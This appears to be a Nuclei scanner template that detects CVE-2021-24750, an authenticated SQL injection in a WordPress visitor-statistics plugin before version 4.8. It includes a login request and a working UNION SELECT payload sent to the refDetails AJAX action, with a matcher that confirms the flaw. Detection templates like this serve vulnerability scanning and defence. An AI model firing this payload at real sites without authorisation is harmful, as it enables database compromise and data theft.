WordPress Visitor Statistics (Real Time Traffic) <4.8 -SQL Injection

id: CVE-2021-24750

info:
  name: WordPress Visitor Statistics (Real Time Traffic) <4.8 -SQL Injection
  author: cckuakilong
  severity: high
  description: WordPress Visitor Statistics (Real Time Traffic) plugin before 4.8 does not properly sanitize and escape the refUrl in the refDetails AJAX action, which is available to any authenticated user. This could allow users with a role as low as subscriber to perform SQL injection attacks.
  impact: |
    Successful exploitation of this vulnerability allows an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data manipulation, or data leakage.
  remediation: |
    Update to the latest version of the WordPress Visitor Statistics (Real Time Traffic) plugin (version 4.8 or higher) to mitigate the SQL Injection vulnerability.
  reference:
    - https://github.com/fimtow/CVE-2021-24750/blob/master/exploit.py
    - https://wpscan.com/vulnerability/7528aded-b8c9-4833-89d6-9cd7df3620de
    - https://plugins.trac.wordpress.org/changeset/2622268
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24750
    - https://github.com/WhooAmii/POC_to_review
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2021-24750
    cwe-id: CWE-89
    epss-score: 0.38298
    epss-percentile: 0.98577
    cpe: cpe:2.3:a:wp_visitor_statistics_\(real_time_traffic\)_project:wp_visitor_statistics_\(real_time_traffic\):*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: wp_visitor_statistics_\(real_time_traffic\)_project
    product: wp_visitor_statistics_\(real_time_traffic\)
    framework: wordpress
  tags: cve2021,cve,authenticated,wpscan,sqli,wp,wordpress,wp-plugin,wp_visitor_statistics_\(real_time_traffic\)_project,vkev,vuln
variables:
  num: "999999999"

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
      - |
        GET /wp-admin/admin-ajax.php?action=refDetails&requests=%7B%22refUrl%22:%22'%20union%20select%201,1,md5({{num}}),4--%20%22%7D HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{{md5({{num}})}}'

      - type: status
        status:
          - 200